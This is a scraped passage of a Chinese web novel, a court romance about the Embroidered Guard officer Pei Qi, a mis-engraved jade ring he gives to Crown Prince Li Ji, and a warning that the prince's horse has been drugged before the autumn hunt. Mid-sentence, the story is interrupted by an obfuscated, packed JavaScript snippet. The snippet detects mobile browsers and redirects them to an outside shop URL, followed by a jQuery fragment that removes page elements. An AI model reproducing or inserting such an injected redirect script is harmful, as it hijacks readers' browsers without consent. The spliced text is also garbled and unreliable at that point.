可这毕竟是对方的正经差事,他也不好过问,于是,他只是咬了咬牙,愤恨地看着钱苗:“你们!太过分了!” 钱苗被这一声太过分了弄得有些心虚,心想该不会是杨明已经猜出什么来了吧? 该死,早知道他去找其他人了,毕竟是考过举人的,就是聪明。 于是他郑重叮嘱,“你既已知道这事,就别声张。” 别把裴期是断袖这事给说出去了。 杨明皱眉,“我自然不会说出去。” 当他是什么人?锦衣卫查案上的事情,他自然是不会随意到处乱说的。 “那好,我们就先动身吧,听闻这几日裴期都在他的外祖父那里学骑射,为了后几日的秋猎不露怯。” 钱苗擦了擦额角的汗,心里轻松不少。 所以说他这个秘密还是没守住,可对方好歹也答应不会将这事给说出去了,也不算他不讲义气。 “等一下,还有一件事。” 钱苗的脚步停顿了下来,“什么事?” “前些日子裴兄说是要练字,观他还差几份临摹用的字帖,我后面又要闭关读书,因此想提前给裴兄备上。”杨明说。 “那有何难?” 钱苗笑着,他家财大气粗,最不缺的就是钱, “我爹前几年为了附庸风雅,也开了几家书肆,待会儿我跟我爹说让他把书肆上的临摹字帖全都打包了,送给裴期就行,让他自己挑喜欢的。” “这好,那多谢钱兄。”杨明脸上才露出笑意。 两人一边说着,便准备即刻动身。 朋友的工匠出声道:“少爷,这玉环需要像其他的一样的打包好吗?” 钱苗心想,毕竟是裴期用来送人的东西,他索性好人做到底,替对方把礼物也打包好。 否则像裴期的性格指不定就空手直接送人了,那样也不美。 于是他又说:“就用上次我带回来的那个金丝楠木的盒子装着,再在里面添上一些近日你们做好的玉佩和流苏。” 东西是现成的,匠人们得令之后便直接把东西拿了出来装好,又在里面放上了一层锦缎软垫。 钱苗也是第一次干这事,工匠将礼盒递过来的时候,他也不禁开始自得起来。 瞧瞧,自己做事做的多妥贴。 老爹居然老说自己冒失,简直就是有眼不识金镶玉! 他又将盒子递给杨明看:“劳烦你瞧瞧,这帮布置可还妥当?” 杨明仔细打量着,然后赞了一声,“搭配地巧妙。” 钱苗清清嗓子,“那是自然,兄弟的事情,我都全然放在心上的!” 随后,两人便带着那礼盒一路前往了裴期所在的地方。 他们二人坐在马车上,不过一会儿便又有人搬来了一箱又一箱的临摹用的字帖。 前面的车夫问:“少爷,已经备齐了,可要现在出发?” “走吧。” —— 不多时,两人来到了裴期所在的校场前。 只是钱苗一身锦衣卫的打扮,杨明又看上去像是读书人,明显与这里八竿子打不着。 守卫刚开始并不想让他们进去,但他们递上名帖后通传了几声,很快有人引着他们进去了。 几个力夫原本想跟着,抬着字帖进去,手绘拦住了他们,又另派了几个小兵过来替他们把箱子抬着,将他们几个留在了外面。 穿过新兵训练队形的地方便到了裴期练骑射的校场。 一开始裴期并没有注意到二人。 因此二人只见裴期穿着一身白色的飞鱼服,手握马缰身子微微压低,正全神贯注地驾驭着□□那匹赤色的马,马蹄扬起尘土。 这时,同样在旁边策马的一个人将手里抓着的大雁卯足了力朝空中丢出去。 裴期见状,立即眼疾手快,从背后抽出一支箭来,他敏捷地将箭搭在弓上,稍稍瞄准之后便迅速射出。 空中惊慌失措的大雁便应声而落。 他身姿矫健潇洒,每一个动作都透着一股子意气风发。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192782|148420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几日不见,像是快要变成大将军了。 钱苗见状,扯着嗓子高喊了一声:“裴期!” 裴期立马回过神来,他轻轻一拉缰绳,骏马听话地放慢了脚步,到了钱苗二人面前时更是“哒哒”了两下便停了下来。 阳光洒在他的背后,俊俏的脸侧流淌下几滴晶莹的汗珠。 裴期轻喘了口气,笑着问:“你们怎么在这儿?” 啧,这事情怎么可以在大庭广众之下说出来呢? 于是钱苗一脸神秘,将手里的盒子递了出来,“来送东西,是上次……” 裴期回忆起来,便立即动作利落翻身下马,几步就走到了钱苗的面前,“劳烦你还给我送一趟,其实我自去取就好了。” 他接过那个木盒,那个木盒外部也已经用锦缎包好,模样十分精致。 “要不要打开看看?”钱苗问。 裴期犹豫了一下,然后抬头,眉眼舒展,“不必了,既然已经用好这样精美的包装了,我也不好再辜负心意拆开,这样便是极好的。” “还有字帖!”杨明提醒道。 于是裴期就顺着对方的视线望去,只见后面有整整两个大木箱,里面全是一些纸质的临摹字帖。 裴期:…… “原本我是想亲自替裴兄挑的,后来钱兄说让你自己选喜欢的字帖,我觉得有道理,便让钱兄把这些全带来了。” 这么多年没摸过书了,裴期一时之间有些陌生。 但这终归是别人的好意,自己随口说的一句话,别人都能这样放在心上,他哪里还有偷懒的借口? 因此,他走上前,认真地在箱子里翻找了起来。 自己临摹用的字帖,怎么着也要用自己看得懂的。 在里面细细地翻了一下。 裴期总算从一堆拗口难懂的诗书里选了个自己能看懂的,比较简单的。 杨明拿起来念了两句,登时有些面露难色。 虽说确实浅显易懂,可也太浅显易懂了些,最基础的平仄都好似有些问题。 但杨明也念着裴期从未学过这个,自然会选一些朗朗上口的,于是他又在里面挑了两本较好的递给裴期。 “裴兄,几日之后我便决心闭关读书,准备科考,你这几日先练这几本的,等科考过后,我再给你批,相信很快裴兄就能练得一手好字。” 裴期收下字帖,笑道:“好,那多谢。” 说完,他叫人来,把那个礼盒和字帖全收着了。 而只有陪练的严振感觉有些不对。 方才那个这个诗句他以前似乎在哪里听到过。 好像……好像是陛下的? 之前的将领们都知道,陛下年轻时也喜欢吟诗作对两句,兴致来了还记下来,只是他们不学那些风雅的东西,和陛下聊不到一起。 但有人想拍马屁,还帮陛下出了字帖。 ……后来是为什么也是不了了之了来着? “表兄!”裴期在旁边喊。 严振回过神来,自己的马已经落后裴期一大截了。 自己想这么多做什么?已经过去了这么久的事,况且,好久没人能这样陪自己过瘾了。 他唇角勾起,“驾!”地一声朝前去。 没人注意到,那个刻着“季”字的玉环就这么的没有经过检查便被裴期收了起来,准备送人了。 秋猎1 忠勇侯府的门口, 裴期一身红色绣金纹的飞鱼服极为惹眼。他牵着高大的红色骏马,身姿挺拔如松。 外祖母站在裴期面前,手里拿着忠勇侯府的人连夜赶制出的披风。 披风是用上等的杭锦制成, 整体呈墨蓝色。 系好披风后,裴期直起身,披风在微风中微微鼓动着。 裴期眉眼舒展,他近几日都很开心, “外祖母, 不必再送了, 只是秋猎几日,明日我便回来了。” 外祖母轻抚着裴期的手臂, “那是自然, 你昨晚都说了, 要回来陪我们……至少两个月!” 裴期有些无奈,“昨晚才说是一个月。” 这几日外祖父和外祖母好像生怕他跑了,软磨硬泡非得让他多住些时日,一开始是半个月,然后是一个月, 现在已经是两个月了。 眼看着外祖母开始佯装生气, 裴期又只好说道:“好, 两个月,我定当遵守承诺。” 外祖母这才满意地点点头。 这时, 旁边的外祖父也开口道:“虽说你如今骑射已今非昔比, 但也别太逞强, 虽说只是秋猎,也得注意,伤着了少不了让你外祖母伤心, 又掉眼泪。” 裴期颔首,“多谢外祖父叮嘱,我定不会莽撞行事。” 说完,他与二老道了别,退了几步,拍了拍赤月的脖子,起身了上马。 马鞍是钱苗不知道为什么非得送过来的,说是什么事情让杨明知道了,裴期也没太听懂。 马鞍看上去华贵异常,以檀木为底,质地坚硬有香气,鞍面用精湛的手法绣成精美的图案,金线银线交织在里面,勾勒出几只顶着海棠花的瑞兽,仔细看脚蹬的部分,似乎还镶嵌着米粒大小的宝石。 裴期只觉得比以往他用过的任何一个马鞍都舒适。 马鞍的两旁放着他准备的弓和那个礼盒。 秋日的清晨有些寒冷,但他身着披风,因此穿梭在冷风当中也不算不适。 这几日他已经将路线寻好,他轻拍马缰。 “驾!” 红色的骏马便飞驰出去。 —— 而另一边,太子也在路上。 尽管近几日他忙得脚不沾地,他却不知为何心情颇好,撩着帘子朝外看。 他并不是不会骑马,甚至骑术甚好,只是并不想招摇。 只是,他的三皇弟却并不这么想。 随了生母性格的三皇子性格十分招摇,此刻正骑着马过来。 他身着并不适合骑马时穿着的华丽的紫色锦袍,上面用金线绣着大幅的麒麟图案,头上戴着一般人骑马时也不会戴着的金冠,冠上的珠玉随着红色马匹的奔跑晃动,发出清脆声响。 后面的人小心翼翼,紧赶慢赶地跟在他的后边儿既不敢太快,又不敢太慢。 太快了,怕超过三皇子惹他生气,太慢了,又怕三皇子万一有个三长两短的,自己遭责罚。 看到太子的马车,他故意放慢速度,等着太子出来,他嘴上说得亲近: “秋高气爽,这样好的天气皇兄不随臣弟一同策马?” 他母族强势,皇帝对他也疼爱,因此,他对于自己与太子之位失之交臂的事情耿耿于怀。 找到机会便想要明里暗里地找李稷的麻烦,只是他不敢做得太过了,只敢像现在言语间刺上一刺。 除了忌惮对方的身份之外,还有对方阴晴不定的性格。 不过他这么想,李稷可没什么想跟他掰扯的意思,他抬头,嘴角噙着笑意。 蠢货,穿成这样秋猎。 “不必了。”李稷说。 三皇子听到这话便好像是得胜了一般,只见扯着马缰,“吁”的一声,得意地准备调转马头,先李稷一步离开。 但就在这时,一个熟悉的声音传来,让李稷本想放下的帘子又复撩了回去。 “殿下!” 裴期骑着赤月刚到这儿,他速度颇快,又没学骑马几天,便以为所有的马都和赤月这样胆大。 因此隔得近了,他才扯了一把缰绳,让马儿停下。 可这样一来就惊到了对面三皇子□□的那匹马。 只见那匹马见到赤月冲过来,忽然像被吓到了一般后蹄往后,前腿不停地往后蹬。 上面骑着的三皇子猝不及防被吓了一跳,脚一下子穿过了脚蹬挂在上面。 他想再把脚抽回来,可他今天因穿着的那双镶嵌着大颗宝石的靴子却牢牢地卡在了脚蹬上。 三皇子惊又慌,手上拼命地扯着缰绳试图让马安静下来,可那马却越发癫狂,在原地不停地打转。 周围跟着他的侍从们也都乱了阵脚,一时不知该如何是好,想去帮忙又怕被马蹄踢到,只能在一旁焦急地呼喊着“殿下小心”。 幸好裴期在旁,经过几天的训练,他早已能熟练地使唤赤月。 只见在三皇子□□的那匹马停歇的间隙,裴期眼疾手快地让赤月贴了上去。 他微一侧身便半个身体离开了马背,他猛地替三皇子拉了一把缰绳,这马才停顿下来。 在场的人见到他这个举动无不眼神之中透着惊艳。 好精湛的马术,能有这样矫健的身手,能有这样与马的默契程度,定然要经过好多年不懈地练习才行吧! 旁边的侍从见这匹马已经停止发狂,于是便小心翼翼地上前去将三皇子的脚从脚蹬中取了出来。 三皇子惊魂未定,一脚便把这侍从给踢得跌倒在地上。 “废物,刚才你干什么去了?” 他有些恼羞成怒,本想在李稷面前炫耀一番,可猝不及防却丢了这么大一个丑。 他仰起头来,眯着眼睛看裴期,当场就要发作,毕竟他的马确实是因为裴期而受惊的他现在治裴期一个什么样的罪都行。 尤其是…… 此人竟敢和他骑同样颜色的马! 同样颜色的马就算了,还竟敢穿红色,竟敢打扮得这样! 其实按说起来,裴期今日并没有特意打扮,穿着的都是最简单的衣服。 唯一的装饰品只是头上那个用于将头发梳成一个马尾的金玉冠。 可当下三皇子只觉得自己的风头居然被区区一个锦衣卫比了下去。 对方一定是故意的。 好深的心机,为了朝自己的主子表忠心,居然能胆大包天至此。 可三皇子刚要开口,太子的声音就响了起来。 “裴卿。”李稷笑着打招呼。 裴期骑着高头大马,朝太子点点头,又回了一声“殿下。” 随即他又就回头朝三皇子表达歉意,“抱歉,三皇子殿下,臣并不知道隔近了之后,您的马会受惊。” 三皇子面色阴沉却又说不出什么话来,按道理来说,他骑的这匹这样品相的马是不会轻易就受惊的,可今天也不知道是怎么了才这样。 他现在冷静下来想,方才他只觉得裴期眼熟,现在正想起来这小子应该就是父皇最近青眼的那个锦衣卫。 若是他现在治了这个锦衣卫的罪,少不了日后父皇要问他为什么要这样,届时他在这里丢丑的事情传到父皇的耳朵里了,到时候又免不了让父皇的观感不好。 于是他哼了一声,只说了一句,“若有下次,定不轻饶你。” 说完他便下马,拍了拍身上的灰尘之后又抢了旁边跟着他的一个侍卫的马。 “愣着干嘛?去把那匹马骑着,还指望本皇子去骑那匹恶马?” 你怕,其他人就不怕了吗? 侍卫也怕自己刚一碰到那马,马就发狂,但自家主子都说了,为了自己的小命他也不能推拒,于是只好战战兢兢地接过缰绳。 裴期看着三皇子离开的背影,眉头紧锁。 他没想到自己还没到秋猎的场地,便已经闯了祸。 经过刚才的风波,李稷第一眼注意到的便是裴期骑着的那匹红色的马,马侧戴着的那把并不是他送的弓,他眼神幽深。 果然还是有脾气。 明明已经有那样精湛的马术了,却仍然因为自己没有亲手教对方,而特意没有骑自己的那匹马,带上自己送的那把弓过来。 那样的马术是完全不需要他人去教的,即便如此,对方仍旧是这样的作态。 那么,只有一个原因了。 想让自己亲手教他骑射是假,想要故意制造两人之间的相处机会是真。 李稷这样想着,便勾着唇笑了,“裴卿,上来坐坐?” 裴期微微一怔,随即赶忙摇头道:“多谢殿下好意,只是臣一身风尘,不好弄脏了殿下的马车。” “无事。”李稷说,随即他便挥了挥手,要派人去帮裴期牵着那匹马。 裴期思索了一下,想起自己现在确实有东西要交给太子,便翻身下马。 把手里的缰绳交给旁边李稷派过来的那个仆从,那仆从刚一用手碰到缰绳时,赤月便有些不高兴,猛地打了好几个响鼻。 就仆从刚亲眼见过三皇子□□的那匹马发狂的样子,此时也有些害怕。 于是裴期抿了抿嘴,尽量把声音放地温和些,他从怀里掏出一个粉色的盐块,说: “你放心,他虽然性子烈了些,却颇有灵性,虽不服管教,却也不会伤人,若是他看着有些不耐烦的样子不肯走,你就把这个给他喂点。” 仆从小心翼翼地接过裴期递给他的盐块,放到赤月的嘴下,赤月甩了甩尾巴,伸出舌头舔了两下。 才终于算是听了话。 裴期见到赤月听话的样子便也放了心,起身上了李稷坐着的马车。 马车地坐的位置上铺了一层厚厚的棉垫。 在古代马车这样颠簸的条件下,这层棉垫让人感觉舒适些。 裴期随意选了一个位置,在李稷的对面坐下来。 因为早上这一路奔波,策马过来,他脸上血气很足,粉面朱唇,因为阳光的缘故,他稍高的眉骨,和浅色的瞳孔看上去更加抓人。 李稷眯着眼看裴期,眼神里闪过了然。 看吧,就是非要他说两遍才好。 裴期被李稷这样看着,忍不住开口问道:“殿下,为何这般看着臣?可是有何不妥之处?” 李稷看着对方那因为动作而褶皱起来的领口,好像知道了裴期想干什么。 为了多些接触,裴卿还真的煞费苦心。 他伸出手,手指探进裴期的脖颈,把对方的衣领整理整齐。 “这样看起来便好多了。” 深秋,已经有些凉了。 带着一丝凉意的手与自己的敏感皮肉接触,裴期当下身体就颤了一下。 可他也知道太子只是为了给他整理一下衣领,于是他便也轻抿着唇忍着。 听到太子的话,他才又糊里糊涂地回了一句,“多谢殿下。” 这时,李稷注意到裴期手边那个方形的礼盒。 “那是什么?”李稷问。 裴期这才终于想起来自己准备的东西,方才经过那一打岔,他险些都忘了。 “殿下,这是给您的。” 裴期实在不擅长委婉,于是就大大方方递给李稷,他眉眼弯弯。 “礼尚往来。” 李稷接过礼盒,入手感觉颇有分量,眼中闪过一丝期待,笑着打趣:“孤倒是有些好奇里面是什么了。” 李稷一边说着,缓缓打开了礼盒。 入目的先是几个质地种水都非常好的小玉佩,玉佩下挂着流苏。 看着倒更像是个添头。 于是李稷便将玉佩拿开放在旁边。 然后便可清晰地看见那被层层锦缎仔细包裹着的东西。 两个温润的玉环交叠在一起,正静静地躺在盒子的中央。 双环交叠、连接,互不分离。 自古以来便没有第二种意味。 李稷说不清楚自己现在是什么心情,他皱眉又松开,食指和拇指互相摩擦。 他触碰到玉环却没有立即拿起。 他叹了口气,说:“裴卿,你可知,你这样做会有什么后果?” 裴期有些懵懂,但因为东西是自己送的,他却还是愿意承担一切后果,“殿下,不管是什么结果我都可以接受。” 李稷看着裴期。 他想,如果裴期肯跟背后的人断开关系,那他可以当作不知晓对方是有目的,故意接近自己的。 这样想着,他将玉环从盒中拿出。 然后, 第一眼就看见了上面的“季”字。 秋猎2(小修) 空气一瞬间凝滞。 马车里的时间仿佛不流动了。 李稷过了一会儿, 才眯着眼,他唇角往上,饱满的唇吐出一句话, “裴卿,这是在戏耍孤吗?” 否则,怎会拿一个刻了别人名字的玉环来糊弄? 是想送给哪个人? 又是想向哪个人表达情深不寿? 还是对哪个人求而不得,心神不宁连送的礼也能装错? 自从有记忆以来, 李稷从未对周围心怀不轨之人心慈手软过。 平生第一次心软, 居然是这样的结果。 被人戏弄, 被人耍吗? 裴期被那双笑眼盯着,背后莫名有些发寒。 因此他便顺着太子的目光朝那玉环看去, 果然看见上面明晃晃地刻着一个“季”字。 裴期有些吃惊, 他明明已经说了是“社稷”的“稷”, 为何还能刻错? 只是钱苗也只是好心帮忙,于情于理都不该怪他,于是他便想开口解释,“殿下……” 可他话还没说完便被太子打断,他决定再给裴期个理由。 “是因为要避孤的名讳, 所以取了同音的字吗?” 裴期不想撒谎骗自己的朋友。 他摇了摇头。 “那是因为不识得这两个字的区别吗?” 锦衣卫之中, 不乏长得好看却不学无术的人, 且裴期从小未怎么正经看过几本书,这样也不是不可能。 他又摇了摇头。 既不是不认识, 也不是避讳, 那就确实是自己想的那样了。 否则这样重要的东西, 工匠在刻字之前定是再三确定的。 李稷笑容加深,靠在了背后的软垫上,手里把玩着那玉环, 拇指状似不经意一般蹭着那个“季”字。 “哦?那裴卿不妨说说看,孤洗耳恭听。” 不知为何,裴期有种必须解释清楚的感觉。 可从小他就没有编过一个囫囵的瞎话,更加不知道什么叫圆滑变通,于是他只好把事情原原本本地说了出来。 他有些干巴巴地解释:“殿下,是我弄错了,是我的错。” 说罢,他伸出手,想要把惹祸的玉环接回来。 这是他能够想到最体面的做法了。 可李稷并不这么想,他双手一扬,躲开了裴期伸来接玉环的手,将玉环牢牢地攥在手里。 这时,马车恰巧颠簸了一下,裴期失手跌进李稷的怀里,他抬起头来, “抱歉,殿下。” 李稷笑容未减。 又来了,又是这样。 既然已经有心上人,即便冒犯自己也要取回和心上人的定情信物,那何必还来做这样的事情,领这样尴尬的差事。 就算自己不介意,那位心上人也不介意吗? “裴卿,你当这是小孩子过家家,想送就送,想收就收?” 李稷这样说着,声音有些微冷。 裴期还以为自己听错了,他自从和太子认识,便没见过对方这样。 李稷继续问:“既然是不小心弄错了,那想必裴卿并不介意孤找了工匠盖去这个图案,刻上对的字吧。” 不应该的。 他不应该这么较劲。 李稷心里几乎已经把所有解决方式都列了出来。 但尽管他已经这样想了,当下却还是忍不住像个小娃娃一样。 幼稚地为了一个价值还不如他房里一个桌角的玉环较劲。 裴期听见了李稷的话,他心里只是想,交代别人刻错了字,本就已经是自己的过错,怎么还能让太子再亲自请人去改呢? 犯错的是自己,就算要改也得是自己才好。 于是他略带歉意地回:“抱歉,殿下,还是让我带回去改吧。” 李稷抬眼盯着裴期的眼睛。 他知道对方未必真如自己想的那样。 他很清醒,并且也很困惑自己为什么要这么做。 这时,马车忽然又剧烈地颠簸一下,然后停在原地。 前面有仆从的声音传来。 “殿下,到了。” 李稷顺势把玉环又收进了礼盒里,然后转头对裴期说:“裴卿,到了。” 还没出结果,可地方已经到了。 见太子也要下马车,裴期也不好再继续纠结这件事,于是他在心里把这事暂时搁置,跟着李稷一同下了马车。 旁边的仆从过来,跟裴期指了指拴马的地方,示意裴期先跟着这边看着,等到一切事情办完再去领自己的马。 裴期微微颔首。 他们先来到的是一个巨大的,空旷的草地,草地上站着些人。 李稷走在前面,早已等候在此的众人纷纷参拜。 皇帝则在人群的最中间,在往年他必定是要骑着他最喜欢的那匹马的,可今年不知为何,他一反常态的并没有骑马。 来这次秋猎的人见皇帝不骑,也跟着不骑,都站着,且他们也并不一拥而上簇拥着皇帝,只是站在自己该站的位置,稍稍地离皇帝近了些。 李稷要往前走,去到他父皇的身边。 裴期却因为身份品级的原因,只能留在人群的最后边。 因此,走到这里他们便要分开了。 前面的人纷纷让开了一条道给当今的太子殿下。 而裴期却朝左边,顺势加入了锦衣卫站着的队伍。 虽然是从同一辆马车上下来的,可两人此时却更像不小心碰到一起的陌生人一样。 裴期站到队伍的最后,心情有些低落。 或许是因为今天还没过半,他便闯了两个祸罢。 前面有些眼熟的一个千户拍拍他的肩膀, “你这样拉着脸干嘛?像你这样刚当差,没几天便被陛下青睐有加,还能站到这里的,你可是头一个,别哭丧着,都不俊了。” 裴期抿了抿唇,“没什么事,只是今日我犯了些错,不知如何补救。” 千户笑了笑,“有什么样的大事都等秋猎完了再说,我们与禁军负责此处的安保事宜,若是出了什么差错,可少不了我们罚的。” 裴期点点头,“多谢千户提点。” 而与此同时,李稷往前,只见三皇子已经提前到了,此时正站在皇帝面前不知道说些什么,见到李稷来了,他挑眉一笑, “皇兄,来得好晚啊。” 他这么说着,可皇帝却并不在意这事。 “你皇兄来晚了便来晚了,他近日负责监国事宜,又查着案,忙碌得很,些许耽搁也是情有可原。” 三皇子见皇帝如此偏袒李稷,心中暗暗不爽,却也不敢表露得太过明显,只是嘴角微微撇了撇。 皇帝摆了摆手,“无妨,今日秋猎,你们都得好好表现,莫要辜负了这大好秋日。” 说着,他笑着,目光在众人身上扫视了一圈。 李稷应了声“是,父皇”,便到了一旁。 此时,有个太监上前,尖细的声音开始详细讲说此次秋猎的路线以及各类注意事项。 裴期在人群后边打眼一看。 就是王公公。 说完,王公公便往后退了几步,从旁边接过一把弓过来,他弯着腰恭恭敬敬地递给了皇帝。 这就是每次秋猎的开场。 先帝的江山是靠马背上与别人厮杀得来的,为使后人也不忘骑射的本领,故而定下了规矩,每年秋日必须要秋猎一次。 这时,不知是谁在众人面前的空地里放上了一只看上去完好无损却行动有些缓慢的兔子。 皇帝接过了弓,拿在手中摩挲了几下,“朕虽不如早些年间那般矫健,你们也不必特意选择这样一只兔子来。” 王公公听了这话连忙上前奉承道:“陛下这说的是哪的话?奴观陛下龙精虎猛,正是壮年。” 皇帝但笑不语,随即搭箭上弦,拉弓如满月,朝着远处的兔子一箭射出。 那箭带着凌厉的风声飞了出去,稳稳地扎入远处的兔子身体里。 兔子还没来得及挣扎几下,便当场没了声息。 周围众人见状,又是一阵喝彩声响起,纷纷赞皇帝箭术高超,“陛下神武!” 皇帝将弓交还给侍从,神色淡然。他笑着对众人说道:“今日秋猎,望诸位都能尽情施展本事,莫要藏拙。” 李稷也笑着道:“父皇箭术精湛,儿臣钦佩。” 三皇子见他这么说,也连忙跟着干巴巴地奉承了几句。 随后,又有一些裴期不怎么能看懂的仪式。 一些穿着怪异的人,像模像样地在中间念了几句号。 又好像有跟着的一些管礼仪的人在中间宣读什么。 裴期站在队伍的最后面,看不怎么清楚。 一直到清晨的阳光渐渐变烈,秋猎之前的仪式才结束。 众人站在原地似乎没有反应过来。 直到王公公得了陛下的授意,尖细的嗓音传来,“各位都还在等什么呢?” 随着这话一说出,诸人便纷纷转身,去到放马的地方领自己的马。 皇帝也知道若自己在场,大伙免不了束手束脚,于是,他被那些大小太监和侍卫们簇拥着回到了营帐当中。 按照以往的惯例,这个时候正是拉帮结派的好时候。 除了已经固定安排在哪个地方执勤的,互相之间相熟的便会结成一团凑到一起,一起去林中狩猎。 裴期是临时被点过来的,因此锦衣卫并没有给他安排固定执勤的地方。 他身边站着的有人被请去了三皇子那儿。 于是他便理所当然想着,他与太子殿下相熟,是好友,应与太子待在一起。 可惜他等了许久都没见到有半个人过来邀他。 裴期当然不会觉得是太子与自己生了龃龉,故意不让自己去的,虽然方才自己在对方那儿犯了错。 但是,对方亲口说过,他们是朋友。 朋友之间怎么会因为这点小事便决裂呢? 于是裴期这样想着,觉得对方是不是只是忘了,等了一会儿之后便循着自己的记忆朝李稷那边走过去。 一路上的人很多,主动来这边要结交太子的各家勋爵子弟很多。 裴期挤过人群,才来到了李稷的不远处。 却见李稷正被一群人围着。 那些勋爵子弟有说有笑地攀谈,等会儿要去猎场哪个区域,怎样才能猎到更多兽之类的话题。 偶尔还听见有人小心翼翼地奉承几声监国查案之类的事。 裴期张张嘴,想要喊一声“殿下”,可他却又有些犹豫,生怕自己这一喊会显得突兀,打扰了他们,犯下今天第三个错。 就在他犹豫之际,李稷似是察觉到了什么,微微转头朝这边看来,目光与裴期对上的瞬间,脸上的笑容没有任何变化。 裴期眼睛一亮,终于把那声殿下叫出声,期待李稷能叫他过去。 可李稷只是又收回目光,没看见裴期一样。 裴期倒也没想什么,只是单纯地觉得对方一定是周围的人太多了,没注意到自己。 于是他在旁边找了块石头,掸了掸上面的灰尘,顺势坐在上面,等着李稷与其他人谈完。 可他们不知道为什么,似乎话总也说不完。 于是,等得无聊的裴期又伸出食指搅着地上的几朵野花玩。 野花被他的手指弄得东倒西歪。 裴期的旁边忽然鬼鬼祟祟地出现了个小太监,小太监扯着他的衣服,神色着急又慌张,说话也吞吞吐吐的。 “裴,裴大人,请,请跟我来。” 裴期定睛一看,就是之前非得送来自己所有攒着的金银感谢自己的那个小太监。 看对方是在着急,他便跟着小太监来到了一处隐蔽的营帐附近,旁边高大的树投来一阵阴影,拢住他们两个。 小太监身体发着颤,但已经能看见比之前第一次见面时要好上不少,脸颊有肉了,身上也没有那些被打的瘀青了。 裴期不知道对方为什么要带自己来这里有些疑惑地问,“你带我来这里,所为何事?” 小太监紧张害怕的话根本说不利索,此刻身体颤的半句话也说不出,过了一会儿才从牙缝里挤出几个字来。 “裴,裴大人,我知道您与太子相熟,您不要靠近太子的马。” 末了,他还强调,“千万不要。” “为什么?”裴期低头看着这个小太监。 小太监咬着下唇,说什么也不肯透露。“您记住我说的话就行,千万要记住。” 说着,他便一阵小跑,回到了自己本该在的地方。 裴期站在原地。 迟钝的脑子忽然聪明了一下。 是马被做了手脚? —— 李稷敷衍地应付完那些脑子空空的勋爵子弟,回头一看,方才还在那儿的裴期已经不见了踪影。 他皱眉,方才他只是一时之间失了理智。 现在仔细想想,若是请匠人刻字叫人领会错,也不是未有可能。 毕竟知道要避他的名讳的匠人是多数。 况且他已将对方的身边人查得清清楚楚,干干净净,别的一个好友都没有,更别提心上人。 对方大抵也只是确实弄错了。 只是他不知为何,一时之间实在难以克制。 看来最近确实事务繁忙,遇到这样的事情竟然连思考的余地也没了。 于是,他转身准备回到营帐之中。 而他旁边的侍卫按照以往一般依旧跟李稷报告裴期的情况。 “殿下,裴大人方才被三皇子那边的个太监请走了。” 李稷微微皱眉。 秋猎3 裴期转身回来, 在半路顺手将那边的马也取了回来。 他瞥了一眼太子的马,并没有半分犹豫。 坠马是件很危险的事情,他第一天刚碰马的时候就被外祖父特别提醒过。 外祖父特意叮嘱他, 自古以来便不知有多少人付出性命在训马上了,因此在骑射之时要特意小心。 若是性格实在太烈,实在难以驯服,那无论这马有多大的本事, 跑得有多快, 也不要上去。 一般的马性格烈了些, 都尚且有使人坠马的风险,更何况是一匹被下了药的马呢? 裴期这样想着, 这是人命关天的大事, 那些什么玉佩玉环, 什么在人群中没理自己之类的事情都没有这样大。 他虽然迟钝却还是仍旧分得清轻重缓急。 于是,他第一时间便想要回去提醒太子。 只是到半路他便被皇帝截了胡。 裴期倒也并不是故意路过皇帝的营帐的,只是这样走是能到太子那边最近的路线。 皇帝的营帐外,隐隐约约能闻到一阵药味,只是这药味很快便被旁边那故意烤着野兔的香味给盖掉。 皇帝见裴期把自己想的那一身飞鱼服穿地实在漂亮, 又牵着骏马, 看上去意气风发, 他心中满意极了。 不愧是他看中的人,怎样看都是出类拔萃的, 若是骑射也好, 那便更合他的心意了。 于是皇帝招了招手示意裴期过去。 裴期还有要事要告诉太子殿下, 此刻并不应该在此驻足,可是皇帝已经这样说了,他并不想出卖那个小太监。 那个小太监似乎是背叛了自己的主子, 也要将太子殿下的马被动了手脚的事情告诉自己。 自己现在反手将他抖搂出去,也实在不是君子所为。 于是裴期只得回头望去,只见太子的那匹马正安安稳稳地在那边被服从喂食的马料,太子并没有半点想要骑这个马的意思。 在确认太子暂时并不想靠近那匹马之后,他向前几步,便走到了皇帝的身边行了个礼。 “陛下。” 皇帝见他这样,挑了挑眉,“裴卿不必这样,这么匆忙是所为何事?” 不愧于太子是父子,裴期站起来,不着痕迹地抖了一下身上的草屑,前几次他与皇帝见面一直是隔得有些距离的,现下隔得近了,他仔细一看,果真好似与太子是一个模子刻出来的。 裴期简直已经预见到李稷年纪大了的时候是什么样了。 裴期虽然不会撒谎,却懂得话只说一半,于是他回道:“臣去见太子殿下。” 皇帝嘴角上扬,“朕当你初次来秋猎,一时之间并不能找到人一起,没想到这么快便与太子约好了。” 他这话一出,旁边的王公公额头上渗出一点儿汗来。 虽然皇帝这话并不是对着自己说的,可王公公也忍不住帮裴期捏了把冷汗。 众所周知,皇帝并不喜欢人拉帮结派,因此所有人便都心照不宣地在皇帝面前一个样,背后是另一个样。 皇上也知道这件事,只是并不在他的眼前这样干,于是便放过了。 但现在摆明了就是问裴期,是否已与太子一党。 裴期想不到这么多,于是便诚实地回答道,“臣与其他皇子并不认识,且这里并没有臣的好友,所以便想去找太子殿下。” 就连那个三皇子也是今早冲撞时才见过那一面。 皇帝了然,他当然知道裴期只认识太子,他说话也并不是试探,只是随口一说罢了。 他一直都是个合格的皇帝,自然懂得他的话一说出口,少不了有人要各种揣摩猜测。 因此不管在哪儿,他说话都十分谨慎。 唯独面对裴期这人,这样既不喜欢随便猜测说话又顺人心意的,他便也忍不住说话随意了些。 “在场的都是各家的勋爵子弟,难不成裴卿就一个好友都不在这儿?” 在秋猎之中,不知皇子们会趁机表现,也是那些勋爵子弟同他人联络感情的好时候。 裴期摇了摇头,“不在,臣的好友除了太子之外便都是在锦衣卫当差认识的。” 皇帝微微皱眉,他记得这里有好几个子弟,都是父辈曾与裴府交好的。 